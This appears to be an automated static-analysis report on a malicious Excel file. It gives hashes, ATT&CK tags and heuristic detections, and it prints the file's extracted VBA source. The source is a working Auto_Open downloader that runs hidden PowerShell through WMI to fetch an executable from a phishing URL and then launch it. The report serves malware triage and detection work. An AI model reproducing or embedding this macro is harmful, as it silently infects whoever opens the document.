Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ab3b4689d6080ebf…

MALICIOUS

Office (OOXML)

1.14 MB Created: 2019-12-04 06:49:00 UTC Authoring application: WPS 表格 First seen: 2021-05-26
MD5: b4d3746256a0bf0b1f7e3759745e01f2 SHA-1: c20ff5a3fc67698be6bfd6e57968638a74bf6f43 SHA-256: ab3b4689d6080ebf6e2f02cbac5f5dc0739d41bbd710aa51e154d7aeb882cf96
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1203 Exploitation for Client Execution

The sample contains VBA macros with an Auto_Open subroutine, which is a common technique for executing malicious code upon opening the document. The macro references PowerShell and uses WMI to launch a process, indicating it attempts to download and execute a second-stage payload from the embedded URL http://10.16.28.211:8080/phishing/PerformanceCheck.exe. The document body content appears to be a lure for gift cards or food items, suggesting a phishing or scam attempt.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errDownload = objProcess.Create("PoWershElL -command ""Invoke-WebRequest http://10.16.28.211:8080/phishing/PerformanceCheck.exe -o c:\Users\Public\Downloads\test.exe""", Null, objConfig, intProcessID)
Set FSO = CreateObject("Scripting.FileSystemObject")
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Const HIDDEN_WINDOW = 0
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    errDownload = objProcess.Create("PoWershElL -command ""Invoke-WebRequest http://10.16.28.211:8080/phishing/PerformanceCheck.exe -o c:\Users\Public\Downloads\test.exe""", Null, objConfig, intProcessID)
Set FSO = CreateObject("Scripting.FileSystemObject")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Const HIDDEN_WINDOW = 0
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://10.16.28.211:8080/phishing/PerformanceCheck.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2584 bytes
SHA-256: db3e2303d83b277979ec775ce369b2a2e3af168da814b6d4d661e7a1204fc685
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Worksheet_SelectionChange(ByVal Target As Range)

For Each pic In ActiveSheet.Pictures
    pic.Delete
Next pic
End Sub


Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "模块1"
#If VBA7 Then
    Public Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As LongPtr) '64'
#Else
    Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) '32'
#End If


Sub auto_open()

Dim psCmd As String
Dim FSO
Dim flen As Long
Const HIDDEN_WINDOW = 0
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errDownload = objProcess.Create("PoWershElL -command ""Invoke-WebRequest http://10.16.28.211:8080/phishing/PerformanceCheck.exe -o c:\Users\Public\Downloads\test.exe""", Null, objConfig, intProcessID)
Set FSO = CreateObject("Scripting.FileSystemObject")

Do
   Sleep 5
Loop While FSO.FileExists("c:\Users\Public\Downloads\test.exe") = False

Do
    Sleep 50
    flen = FileLen("c:\Users\Public\Downloads\test.exe")
    
Loop While flen <> 24576

errCreate = objProcess.Create("c:\Users\Public\Downloads\test.exe", Null, objConfig, intProcessID)
End Sub


Attribute VB_Name = "CreateNewMacros"
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 25088 bytes
SHA-256: aca13baffde20c08f0117b92c5d00a153e153439e8394b817634cb13200cdc3b

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